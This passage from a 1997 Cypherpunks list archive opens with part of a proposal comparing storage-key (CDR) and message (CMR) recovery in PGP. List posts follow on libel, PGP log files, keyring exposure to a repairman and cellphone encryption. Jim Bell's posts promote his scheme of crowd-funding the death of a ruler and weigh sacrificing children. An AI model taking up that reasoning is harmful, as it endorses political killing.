paper files, plaintext data stored on disks, and backup tapes.

For this reason the CDR approach treats communications keys as more
sensitive than keys used to encrypt locally stored information.

Separate Signature and Encryption Keys added in pgp5.0

This section describes a feature added to PGP with the pgp5.0 release:
separate signature and encryption keys. Readers familiar with pgp5.0
functionality may like to skip this section.

pgp2.x RSA keys

pgp2.x (and pgp1.x) only had direct support for one type of public key: the
RSA public key. RSA public keys were used both as signature keys, and as
encryption keys to transfer session keys. The ability to generate RSA keys,
and to interoperate with pgp2.x is retained in pgp5.x.

pgp5.x El Gamal (DH) encryption and DSA signature keys

One reason for the introduction of separate key functionalities is the
addition, starting with pgp5.0, of the DSA digital signature algorithm which
can only function as a signature system. In addition the El Gamal (EG)
public key system which was also added with pgp5.0 is used only as a public
key encryption system. (There are some El Gamal variants which can be used
to produce digital signatures, but these are not used in pgp5.0). (El Gamal
is a Diffie-Hellman (DH) variant which is sometimes also referred to
confusingly as DH.) The DSA is itself a DH signature variant.

Patent issues

Another significant reason for the adoption of EG and DSA in particular is
the freedom from patent encumbrances these algorithms now enjoy. RSA by
contrast is patented, and unpatented algorithms are generally preferred for
internet standards.

Key expiry feature added in pgp5.0

One general security principle is that keys used to protect communications
should be replaced periodically to reduce the value to an attacker of an
individual key.

Migration path

The pgp5.0 standard provides support for this functionality in terms of the
ability to attach expiry dates to signature and encryption keys. (In the
pgp5.0 and pgp5.5 clients the signature and encryption keys are treated as a
pair, and are given the same expiry information, but both the pgp5.0 and
pgp5.5 clients can already cope with signature-only keys and encryption-only
keys with different expiry information.)

Web of Trust

In pgp5.0 with the EG public keys, the Web of Trust (WoT) is based on the
signature keys only. The users signature key is authenticated in the web of
trust. The user signs his own encryption key thereby transferring trust to
it. This ensures that encryption keys can be expired and replaced without
affecting the web of trust.

Limited Perfect Forward Secrecy

Perfect Forward Secrecy (PFS) refers the technique of destroying old
communications keys to ensure that past traffic can not be compromised after
the point of re-keying. One way to use the pgp5.0 key expiry facilities is
to have signature and encryption keys with very different expiry periods.
For example a signature key could be given no expiry period (the pgp5.0
standard supports expiry periods of `forever'), and encryption keys could be
given an expiry period of 6 months.

To obtain PFS, a more secure way of dealing with expired encryption keys is
to actually irretrievably delete them. This then simulates PFS: an attacker
is unable to decrypt traffic encrypted with old communications keys even if
he is able to coerce co-operation from the recipient. No one can be coerced
because the key has been deleted.

It seems reasonable that some users may want to use key expiry for this
purpose, and this does not require any modifications to the existing pgp5.0
standard.

Key expiry problems for stored encrypted data

One problem introduced by key expiry is that any stored data encrypted to
the expired key becomes less available. For security reasons the expired key
should ideally be deleted, and in this case access to the data is lost.
Alternatives are to attempt to store the old keys more securely, this then
presents the problem that some stored data is harder to access than other
data, and presents additional key management problems for old keys which
will be confusing for users.

Re-encrypting after key expiry

One method to solve this problem is to re-encrypt all of the encrypted files
at the point of re-keying. However this method has disadvantages in that not
all of the encrypted data may be easily available. Some of the encrypted
data may be on backup tapes, on floppy disks, or stored inside `zip' or
`tar' archives on the disk and hence may be missed.

Separate storage keys

The simplest solution to this problem seems to be to encrypt to a separate
storage key. Within the pgp5.0 standard this storage key would be a separate
El Gamal key with a long expiry date. With this system we then have three
types of keys: signature-only keys, communications-only keys and
storage-only keys. This could require minimal or even no modifications to
the pgp5.0 standard, storage and encryption keys could be differentiated
between by:

   * location storage-only key is stored in (for example a separate keyring)
   * application being configured to use a chosen encryption key as the
     storage-only key by giving a keyID
   * convention on expiry dates (expiry date `forever' could be storage key,
     other values could be communications keys)
   * extra flag to indicate a storage-only key

Once the separation of key types is made, the security benefits of re-keying
can be more fully obtained.

Sent and recieved email folders

To maintain availability after re-keying of encrypted sent and received
emails archived in mail folders, the email plaintext would be encrypted with
the storage-only key. This then means that data availability for encrypted
files on disk, floppy disk, and backup tape is maintained; and that
availability for archived sent and received emails is maintained.

Storage Recovery

If the system is being used in a commercial setting, disaster recovery can
be provided by storing recovery information to allow recovery of the
storage-only key. There is still some additional danger over the case where
there is no recovery procedure: the risk that an attacker may be able to
compromise the recovery information. However because the encrypted data is
all protected by the companies existing physical security mechanisms the
security risk is minimised.

Another form of storage recovery would be to include recovery information
with each file, and this would be a valid combination achieved by placing
CMR-style requests for additional crypto-recipients on the CDR storage-only
key. However this practice makes recovery from forgotten passphrase more
problematic: to restore user access to the data after forgotten passphrase,
the recovery agent would have to decrypt all stored files (be they on hard
disk, backup tape, floppy disk, or stored inside `zip' or other archives),
then the user would have to generate a new storage-only key, and re-encrypt
all of the files. Given the frequency with which users are prone to
forgetting passphrases implementors may decide to avoid this option for
ergonomics reasons.

CDR vs CMR

PGP Inc has an alternative data recovery proposal called Commercial Message
Recovery (CMR). The CMR proposal involves sending recovery information with
the message in the form of a second crypto recipient. In addition mechanisms
are provided in the form of a proposed CMR public key extension to the IETF
OpenPGP standard which indicates a request to the sender to include this
recovery information. In addition facilities are provided in the form of PGP
Inc's SMTP policy enforcer to partially enforce the inclusion of this
recovery information by bouncing mail which does not include it.

Security comparison

PGP Inc's CMR proposal makes re-keying problematic because data is archived
in email folders still encrypted to the encryption key. This tends to
encourage the practice of having very long term communication encryption
keys. Indeed the beta pgp5.0 implementation the author tried makes the
recommendation that most users would give keys an expiry period of
`forever'.

In addition a security risk with the CMR proposal is that an attacker is
able to obtain via coercion, bribery or burglary the CMR key used to encrypt
the traffic for this key. With a purloined CMR recovery key, and given the
long life time encouraged for such keys the previously passive attacker may
be able to recover years worth of old traffic.

Another risk is that companies may for simplicity have only one CMR key,
thereby putting at risk the entire companies secured communications over
periods of years. This is naturally a bad practice, and one which is
discouraged by PGP Inc also, but the author remains cynically confident that
some corporate users will ignore such advice.

Privacy Comparison

PGP Inc proposese the CMR communications recovery mechanism as a privacy
respecting method of achieving data recovery. The privacy features of the
CMR proposal are that there are proposed flags which are attached to a
public key to indicate statement of intent about plaintext handling to the
sender who is about to use the public key.

Three statements of intent are possible with the current CMR proposal:

   * personal key (no flags set)
   * company use key, company may read message, please encrypt to listed
     company CMR recovery key(s) (recovery flag set)
   * company may read message, encrypt to listed CMR recovery key(s) or the
     message will be bounced (strict recovery flag set)

PGP Inc's statement of intent in plaintext handling is a useful concept, in
that it explains explicitly to the sender who will be able to read the
message, and how the plaintext will be handled. Statement of intents are
always advisory, in that they are impossible to enforce; however they are
useful in encouraging ethical behaviour in this regard.

Statement of intent messages are independent of recovery mechanism, and
apply equally to the CDR mechanism described in this document. In fact the
author would like to encourage a fuller set of statement of intent flags for
both sender and recipient, allowing keys to be marked with intents:

   * personal key, messages not archived
   * personal key, messages archived
   * key used for company business, messages not archived
   * key used for company business, messages archived
   * key used for company business, messages archived and recoverable

And, in addition a similar privacy argument could be made to allow the
sender to express his preferences with regard to plaintext handling on a per
message basis. This could generalise the -m function of pgp2.x which
instructs the recipient not to save to a file. (The -m flag is the sort of
electronic version of `please burn this document after reading', this flag
is mildly enforced by the pgp2.x command line application). These set of
flags would allow a sender to send a `normal communication message', or a
`official statement, please archive with recovery if available', or
`sensitive do not archive' and so on. A privacy respecting implementation
could provide support for these functionalities. Whilst obviously easy to
over-ride, this is felt to be a useful exercise in encouraging respect for
privacy.

In addition the recipient should have ability where company policy allows to
choose which messages to archive, and which to archive with company recovery
information.

>From a privacy perspective the CDR and CMR proposals are approximately
equivalent; the statement of intent flags, and the social value of
encouraging companies to respect privacy are useful in both.

Government access to communication key politics

Another aspect of the whole data recovery area is that the US government,
French government, and UK government (as well as other governments) have
expressed an unhealthy interest in obtaining private individuals, and
companies communications keys. Many privacy advocates view this development
with fear, as it seems to many a particularly Orwellian development. Usually
the Government Access to Communication Key (GACK) attempts try to deflect
criticism by focussing on unrelated issues as a vehicle to introducing GACK:

   * Terrorist attacks and requirement for emergency government access to
     communications traffic
   * Government assistance for companies to recover stored plaintext via key
     escrow infrastructure.
   * Assisting electronic commerce by helping put in place Certification
     Authorities and digital signature laws

However readers who have followed GACK politics will recognise the above for
what they are: attempts to put in place GACK via indirect routes
(respectively: the four horsemen of the infocalypse argument (the fallacy
that terrorists will obey laws and use encryption systems which have
government backdoors), the Clipper I, II and III attemps (various attempts
by the US government to bribe and bully companies into building a GACK
architecture), and the UK TTP (Trusted Third Party) proposal where `TTPs'
are a euphamism for a Certification Authority (CA) which has been coerced by
law to keep individuals private keys).

Scenarios governments might shortly try this to request master keys for
communications might be France, where the government is changing from a
position of no encryption software without license, to a position of
unlicensed encryption software being allowed provided that the governments
has a back door into the communications. Other examples being perhaps the UK
(with it's highly controversial TTP licensing proposals), or the US with the
administration and law enforcement community pushing hard for access to
communications keys. It is likely, particularly in the UK, and US in the
authors opinion, that government backdoors would be demanded in carefully
orchestrated stages, designed to minimise public opposition. There might be
trials where the traditionally more regulated financial organisations were
required to comply, next perhaps government funded research labs, and
business organisations accustomed to large amounts of government regulation
Only towards the end would people using government funded networks
(academics), Internet services providers (ISPs) and individuals be
regulated. The final phases may use a terrorist activity, or national
emergency, or other scandal as justification for increasing the
requirements. It is likely also that the justification will be in terms of
wholesome sounding public safety safeguards.

Political Comparison

PGP Inc's CMR proposal loses heavily in the political argument in the
author's opinion because the protocol design supports the practice of
allowing third and fourth party access to communications traffic.
Particularly with the multiple CMR key requests per key which are rumored to
be coming in the next version of PGP, it will be easy technically for a
government to request that one of the recovery keys belong to the
government. Governments already have the political will to have access to
communications; the barriers are technical, and individual's resistance to
the notion. The danger with the CMR proposal is that it could become the
enabling technology for push button suveillance, the enabling technology for
wide scale secret service signals intelligence keyword scanning. This
probably not what it's proposers intend, however the danger is there in
building the technology.

The CDR proposal on the other hand focusses on recovery information of
stored information only, and as a design principle avoids sending recovery
information over open networks. Whislt governments may be interested to
obtain storage keys, they have much less value, because the ciphertext is
much harder to obtain. Also non-compliance is much harder to detect: a
government law enforcement agency would not know if an individual was
actually using storage software with government backdoor key access without
physically obtaining the storage media. For most individuals the point at
which governments executes a dawn raid is a point at which the individual is
already in trouble. The CDR proposal is much closer to the status quo in
political terms.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 1 Feb 1997 08:26:07 -0800 (PST)
To: "Mark M." <markm@voicenet.com>
Subject: Re: Libel & the 1st Amendment
Message-ID: <199702011626.IAA20188@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Mark M. wrote:
 
> If the legal concept of libel is abandoned, this presumption will largely
> disappear.  People will have to rely on the credibility of the source, instead
> of whether or not the victim of libel has sued.

  God forbid that people should have to use their judgement and their
brains, rather than their overly charged emotions.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 1 Feb 1997 08:26:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cyphernomicon by Tim May
Message-ID: <199702011626.IAA20196@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


3.5.1 Contrary to what people sometimes claim, there is no ruling
       clique of Cypherpunks. Anybody is free to do nearly anything,
       just not free to commit others to course of action, or claim
       to speak for the "Cypherpunks" as a group (and this last
       point is unenforceable except through reputation and social
       repercussions).

3.6.3 "Why isn't the list moderated?"
      ...hardly consistent with many of our anarchist leanings, is
          it?
      - "No, please, let's not become a 'moderated' newsgroup. This
      would be the end of freedom!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rob <wlkngowl@unix.asb.com>
Date: Fri, 31 Jan 1997 23:40:42 -0800 (PST)
To: Jim Ray <cypherpunks@toad.com
Subject: Re: "Secret" Postal Device stolen
Message-ID: <199702010740.XAA08867@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On 31 Jan 1997 15:26:16 -0500, Jim Ray wrote:

>from http://www.herald.com/dade/digdocs/021949.htm
>Postal Service offers $25,000 reward for stolen . . . something

>By ARNOLD MARKOWITZ Herald Staff Writer 
>    U.S. mail carriers carry more than just the U.S. mail.
>They carry something else so secret that nobody outside the
>Postal Service knows about it -- except four crooks who steal
>them from letter carriers on the streets of Miami. There's a
>$25,000 reward for tips producing capture and conviction.

- Nicaraguan cocaine shipments bound for Los Angeles
- Coded messages from the grays
- L.Ron Hoover's posthumous writings on appliantology









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rob <wlkngowl@unix.asb.com>
Date: Fri, 31 Jan 1997 23:41:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: It can be disabled (was Re: PGPMail Log File)
Message-ID: <199702010741.XAA08937@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On 31 Jan 1997 09:27:45 -0500, you wrote:

>At 02:22 AM 1/31/97 +0000, "Robert Rothenburg 'Walking-Owl'" 

>< WlkngOwl@unix.asb.comwrote:
>> Is there a way to disable the \WINDOWS\PGPW_32.LOG?
>> In subtle ways it's a security hole if left to accumulate over time,
>> since it keeps records of which keys you encrypted messages to.

>This is a damn good question.  I do NOT have the "write to a log file"
> option slected in the misc. tab and it STILL writes a log file.  How DO 
>we disable this?

It's disabled, with the exception of keeping when it was last run.
Technically
a 'security hole' but so minor I can live with it.

Maybe your version (I'm using beta 11) has a problem, but mine's
fine. I was just careless and didn't look closely (not something one
should do with crypto...)

Rob


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBMvLTBQTNlSxdPy6ZAQEe4Qf7B1tIyBSZvdtg48lSZAnr4IOh9NbbrgvK
RSoGF8UVGnfQWgItsiYIkA82WAqxBBMQaJuHBolkm8PTh7eb/Q3dd4Wz9BZdMp/g
+aCRIM2MzfX2+SagyTw4r7L98XozfcUkhnSKcmJQDtrrq04Rlglt5Muf96jrW++p
ltp4gXh4nawx75GZlGIS2XB223g5Rd9RSXAGER0gV1BtZKYt8uGkzeGL0OnsZnr+
VUgNVmXX2jeCn0essUX5WcKlSK2vATkoqv3UR1deEbP0Xdt/PTwjS/GZHrvnP5B1
zfOn7iV0CGZYXWpQAGO58HtW16vqC8wZ6lb5N7tdbBRcGX0B/cHc8A==
=49OA
-----END PGP SIGNATURE-----


-----
"The word to kill ain't dirty     | Robert Rothenburg (WlkngOwl@unix.asb.com)
 I used it in the last line       | http://www.asb.com/usr/wlkngowl/
 but use a short word for lovin'  | Se habla PGP:  Reply with the subject
 and dad you wind up doin' time." | 'send pgp-key' for my public key.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 1 Feb 1997 08:41:08 -0800 (PST)
To: Paul Foley <mycroft@actrix.gen.nz>
Subject: Re: Key Security Question
Message-ID: <199702011641.IAA20618@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Paul Foley wrote:
 
> On Fri, 31 Jan 1997 17:51:47 -0800, Toto wrote:

>>      If the repairman has your pubring and secring files, you can now
>>    consider them in the same light as a 'busted flush'.
> 
> The secret key is encrypted using the same IDEA algorithm that PGP
> uses to encrypt your files.  If you trust IDEA, your key is as safe as
> your passphrase (not at all if you have no passphrase, not much if
> it's easily guessable, etc.)

  Send me your secring file. I have a new password-buster I'd like to
try out on it.

> If your computer repairman has the capability to crack strong 128-bit
> ciphers, I'd be rather worried :-)

  He doesn't have to crack the cipher, he only needs to find the
password.
 
> On the other hand, there's always the possibility of your passphrase
> being on the disk, say in a swap file, somewhere.  Same goes for
> plaintext of any encrypted files/messages.  I doubt anyone's gonna go
> hunting through your swap file, "empty" sectors, etc., looking for it,
> though, unless you've done something to really piss him off lately :-)

  Or if he's a member of the CypherPunks list, read the message, and now
considers it to be a personal challenge.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Sat, 1 Feb 1997 08:40:59 -0800 (PST)
To: Rob <cypherpunks@toad.com
Subject: Re: "Secret" Postal Device stolen
Message-ID: <199702011640.IAA20586@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 05:18 AM 2/1/97 GMT, Rob wrote:
>On 31 Jan 1997 15:26:16 -0500, Jim Ray wrote:
>
>>from http://www.herald.com/dade/digdocs/021949.htm
>>Postal Service offers $25,000 reward for stolen . . . something
>

Mail Storage Box keys?

DCF
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBMvNVkoVO4r4sgSPhAQG18AQA2g//lN1jUva1emDq/uQMNRy+1mIA/+Ug
5+0INso7kvCflVbterNDpWo0XoWR9tLrZ013vtcygaWUb07m/AWYBu/K322Tp7Zl
nGDaGXFvUHLdJM+hgXyxQZoK/kfWqBiHw0zxczqr3LuwyDUQgFjrHcJb+/TKphBY
JwdTTPZJNC0=
=uGDj
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sat, 1 Feb 1997 10:55:57 -0800 (PST)
To: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Subject: Re: Fighting the cybercensor
Message-ID: <199702011855.KAA23272@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:40 PM 1/27/97 -0500, Phillip M. Hallam-Baker wrote:
>
>
>jim bell <jimbell@pacifier.com> wrote in article <5ch9f2$cuu@life.ai.mit.edu>...
>
>> Look, I've proposed what I consider to be a remarkably consistent method to 
>> prevent the kind of political tyranny that you criticize, and I don't see 
>> any recognition of this fact.  
>
>Thats because its a whacko solution that has no credibility
>or consistency. 


I'm still waiting for you to explain what you believe to be the "problem" 
for which we are searching a solution.  

Is the problem that there is slavery?  Or do you think the only problem is 
that the slaves are unhappy?


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sat, 1 Feb 1997 11:41:13 -0800 (PST)
To: Sean Roach <cypherpunks@toad.com
Subject: RE: Fighting the cybercensor
Message-ID: <199702011941.LAA24319@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:26 PM 1/30/97 -0800, Sean Roach wrote:
>At 11:15 AM 1/30/97 -0800, jim bell wrote:
>>What you're presented (included in its entirety below) is what I've come to 
>>call an "AP story problem."   I've worked through many of those myself; 
>>their main problem is that they don't carefully describe why _each_ person 
>>in the "play" you've described would be motivated to do what it's claim he 
>>does, and why he DOES NOT do other things to fix the situation he's in.  
>>Remember, I'm not merely talking about the main character, but also the ones 
>>who are (apparently?) incidental.  
>>
>>For just one example, you said:    "conventional bodyguards could be 
>>included, ones with no real pay but with the fore knowledgethat they will be 
>>buried with the tyrant."
>>
>>What motivates these people?  Are they hostages?  If they're hostages, then 
>>presumably that means they're motivated to seek the death of anyone who is 
>>holding them.  What about their relatives; don't they have any sympathy for 
>>those who are taken?  Why don't they donate to AP to see the lead guy dead?
>
>As I stated in the bottom, the children would be privaledged.

Who says?  What if the public doesn't agree?  Might it not be better to 
sacrifice a few children to keep other children alive?


>  They would
>merely be told that it is a great honor.  It could very well be.  Assuming
>that the tyrant did not die, these children would live in comparable luxery.

How much would this cost?  Who would pay?  Where would the money come from?  
Is this "solution" practical for everybody, or just the top guy?


>They would be at risk only if the tyrant was.  By keeping the children at
>hand, the parents would balk at taking action against the tyrant, not only
>their own action, but also that of others.  The children would merely be
>there to thwart the attempts of others.

Suppose that didn't work.  Who would kill the kids if the tyrant died?  Who 
would risk death himself to do this?  Etc.


Hint:  Unfortunately, you don't seem to be pursuing the implications of what 
you are hypothesizing.  This is typical.  Go back and do what I originally 
suggested:  Look at the motivations of EACH person in the "play" and decide 
why he will play along with the game.    This includes not merely the people 
you want to focus on, but also anyone else.




Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter J. Capelli" <pete@idaho.ubisg.com>
Date: Sat, 1 Feb 1997 08:41:11 -0800 (PST)
To: "Mark M." <markm@voicenet.com>
Subject: Re: Libel & the 1st Amendment
Message-ID: <199702011641.IAA20624@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Mark M. wrote:
> On Thu, 30 Jan 1997, Jim Choate wrote:
> 
> > > * Many 1st Amendment experts don't believe in the legal concept of libel.
> > > It is, they say, a rich man's game
> >
> > Exactly, instead of equal protection under the law we have a specieocracy.
> 
> Anyone can afford a contingency-free attorney as long as the plaintiff has a
> good chance of being awarded damages.  This has the benefit that the legal
> system doesn't get overcrowded with frivolous cases.

	You mean to say, rich people can overcrowd the courts as much as they
like, while others are restricted by contigency-only lawyers ( Call 
1-800-AMBULANCE! ) ... and what of the case of a rich person trying to control
a poor one with many frivolous lawsuits ... while they can afford to file 
lawsuit after lawsuit, the poor person cannot defend himself.

	
-- 
Pete Capelli, CNE	UB Networks, Inc.	pcapelli@ub.com
******	Finger pete@idaho.ubisg.com for my PGP Public key! ******
They that give up essential liberty to obtain a little temporary
safety deserve neither liberty nor safety. - Benjamin Franklin, 1759





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Sat, 1 Feb 1997 11:55:55 -0800 (PST)
To: "Z.B." <zachb@netcom.com>
Subject: Re: Key Security Question
Message-ID: <199702011955.LAA24678@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 10:41 AM 1/31/97 -0800, Z.B. wrote:
>My computer went into the shop a few days ago, and I was unable to take 
>my PGP keys off it before it went in.  What are the security risks here?  
>If the repairman chooses to snoop through the files, what would he be 
>able to do with my key pair?  Will I need to revoke the key and make a 
>new one, or will I be relatively safe since he doesn't have my 
>passphrase?  

Depends on how guessable your passphrase is.  If you use something that would
fall to a dictionary attack, then you are vulnerable.  (Providing that they
actually looked for your keyring and made a copy.)

If you had nyms on your keyring, then those nyms can be associated with your
"true name" with no passphrase required.  (Unless you keep your keyring
encrypted. Private Idaho supports encrypted keyrings, but little else does.)

If you are really concerned about it, you could learn to do your own computer
repairs.

-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAwUBMvObZeQCP3v30CeZAQHwCgf+Oks1qT2Hc9pRU4jy+YU/q3WidHVhJmf2
QxjdEFeRPyX3rt+7ThCN4wnGdh7W2Ya8SYGwmgGgU7pucJ9vgC0JACU20RvRgsQk
5USpS3+Ua9QVNs/NpKGDDANlsurPMi9y12rIqrDbmPmcnW7HDfrfByLVy0HvfqKE
ctJsOOz391rbjM+HiNXzMUiiWLBelVA9CrsG/UtSd243vymwD/J2dJiq3s0CMPln
Tl1rSy1IVsMqNuQ65ALV9qsz6GJtK8Wu1nSk1IwR8Ge2ZSq6VCqkV/hY8+r5KPOM
V0XMIblviEc87xmiJ8BMuNNJpOvhGzFZQ1TV9vwdec3pfyeV/HeHjw==
=2if1
-----END PGP SIGNATURE-----

---
|   If you're not part of the solution, You're part of the precipitate.  |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 1 Feb 1997 12:56:04 -0800 (PST)
To: William Knowles <erehwon@c2.net>
Subject: Re: PCS Encryption?
Message-ID: <199702012056.MAA26132@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:23 PM 1/31/97 -0800, William Knowles wrote:
>.. Primeco digital phone which uses CDMA technology to scramble 
>the calls and makes passive listening next to impossible.
>  (Primeco is a PCS phone)
>I have been having one helluva a time trying to find more
>information on the encryption used with Primeco, I have 
>spoken to customer service twice & the local rep told me that
>the the Chicago FBI asked Primeco to shut off a phone this
>week because they can't listen in on what is been said,
>To which the the Primceco guys reply, If the feds can't listen
>in then I shouldn't be worried.

Many low-level phone company people don't know from encryption,
and consider just being digital to be enough to satisfy their
market's demand for privacy :-(  On the other hand, if they're
telling the truth that the FBI had somebody's cellphone shut down
because they couldn't wiretap it, that's pretty outrageous,
and would seem to constitute a "taking".

>Excuse me if this posting is a little off topic, But I have
>nearly looked everywhere on the WWW to no avail.

CDMA is Code Division Multiple Access, a spread-spectrum
technology that lets them manage bandwidth efficiently as well as
providing a certain level of privacy (assuming they really are
using CDMA, as opposed to TDMA).  If there is encryption,
it's probably the IS-136 stuff.  Phil Karn from Qualcomm
was on the standards committees when the NSA was arm-twisting them
into making sure it's too wimpy to keep out the NSA,
and of course the spread-spectrum is a bit less private when
you can subpoena the spreading codes...  But it really is
much better than nothing.  Here's a posting from John Young;
you'll also want to look at the CAVE material on www.jya.com.

=================================================================
Date: Sun, 26 Jan 1997 17:44:49 -0500
From: John Young <jya@pipeline.com>
To: cypherpunks@toad.com
Subject: Cellular Encryption Docs

Thanks to David Wagner and Steve Schear, we've learned about the
latest documents on cellular encryption which supercede the
1992 CAVE document, Appendix A to IS-54, which contained the CAVE 
algorithm. Here are the latest, followed by ordering information.

  TIA/EIA/IS-136.1-A -- TDMA Cellular/PCS - Radio Interface -
  Mobile Station - Base Station Compatibility - Digital Control
  Panel, October, 1996, 372 pp. $350.00.

  Addendum No. 1 to IS-136.1-A, November, 1996, 40 pp. Free.

  TIA/EIA/IS-136.2-A -- TDMA Cellular/PCS - Radio Interface -
  Mobile Station - Base Station Compatibility - Traffic Channels
  and FSK Control Channel, October, 1996, 378 pp. $310.00.

  TIA/EIA-627 -- 800 MHZ Cellular System, TDMA Radio Interface, 
  Dual-Mode Mobile Station - Base Station Compatibility
  Standard, June, 1996, 258 pp. $120.00.

These documents can be ordered from:

  Global Engineering Documents
  15 Inverness Way East
  Englewood, Colorado 80112
  Telephone: 1-800-854-7179

However, each of the documents lists the following related 
supplements which contain "sensitive information" and may be 
obtained by US/CA citizens from TIA by signing a Non-Disclosure 
Agreement and acceptance of export restrictions:

  Appendix A to IS-136.

  Appendix A to 627.

  Common Cryptographic Algorithms.

  Interface Specification for Common Cryptographic Algorithms.

These controlled documents can be requested by calling Ms. Sharon
Vargish at 1-703-907-7702, who will fax an NDA, and upon receipt of
the completed form, will send the controlled documents at no cost.

Here's the NDA:

         AGREEMENT ON CONTROL AND NONDISCLOSURE OF
              COMMON CRYPTOGRAPHIC ALGORITHMS
          REVISION A TO IS-54, IS-95, AND IS-136
      [Note: 627 supercedes IS-54; IS-95 is for CDMA]


"I, _________________________, an employee/consultant/affiliate
       (typed name)

of __________________________, hereafter, "the company,"
      (Company name)

_____________________________
      (Company address)

_____________________________

and a United States or Canadian citizen, acknowledge and understand
that the subject documents, to which I will have access contain 
information [which] is subject to export control under the
International Traffic in Arms Regulations (ITAR) (Title 22, Code
of Federal Regulations, Part 120-130). I also understand that the
subject documents represent valuable, proprietary and confidential
business information of TIA and its members. I hereby certify that
this information will be controlled and will only be further 
disclosed, exported, or transferred according to the terms of the
ITAR.

______________________________       _____________________________
Signature                            Date

______________________________       _____________________________
Printed Name                         Witness

______________________________       _____________________________
Title                                Printed Name of Witness

[End NDA]



============================================================================


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 1 Feb 1997 12:40:41 -0800 (PST)
To: Duncan Frissell <frissell@panix.com>
Subject: Re: "Secret" Postal Device stolen
Message-ID: <199702012040.MAA25708@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>>>Postal Service offers $25,000 reward for stolen . . . something

I got the impression the author was struggling very hard not to say
	"I swear I'm not making this up"
"But I can't say that - it's Dave Barry's line"  :-)

At 09:39 AM 2/1/97 -0500, Duncan Frissell wrote:
>Mail Storage Box keys?

I was also guessing keys - truck keys are a less subtle target than
box storage keys, and telling every thug in the country that 
mail trucks are an easy target, just take the keys from the carrier,
seems almost worth sounding really stupid in public to avoid.
They did say that it wasn't something they carried in their pockets,
but do mail carriers hang their keys on their belts?
My wife's guess was that they didn't want to admit they carry Mace
or equivalent, though everybody knows it.

I also enjoyed the description of one of the weapons as a
"steering wheel locking device" 
	"The Club - Police recommend it!"





#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 1 Feb 1997 12:55:41 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Key Security Question
Message-ID: <199702012055.MAA26123@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>> My computer went into the shop a few days ago, and I was unable to take
>> my PGP keys off it before it went in.  What are the security risks here?
>> If the repairman chooses to snoop through the files, what would he be
>> able to do with my key pair?  Will I need to revoke the key and make a
>> new one, or will I be relatively safe since he doesn't have my
>> passphrase?

Passphrases are MD5-hashed into 128-bit IDEA keys and used to
encrypt the secret key; there's a "pgpcrack" program out there
that does dictionary-style searches to find if you've got 
wimpy passphrases.  So if your passphrases is "secret", you lose,
but if it's "fjhw;doifvjuc-[09efiu v` 2	4rnhc;ljoipcvjpoiewujfgv;loik"
you're probably pretty safe, unless that's written on the yellow
sticky you left on the side of the PC.

On the other hand, if the "repairman" replaced your pgp executable
with version 2.6.3kgb, which uses your hashed passphrase as the
session key, you're hosed.  Or if he installed a keystroke sniffer,
or added a small radio transmitter to your keyboard, or whatever.
Depends on your threat model.  If you need to be paranoid,
they've already gotten you....

#			Thanks;  Bill
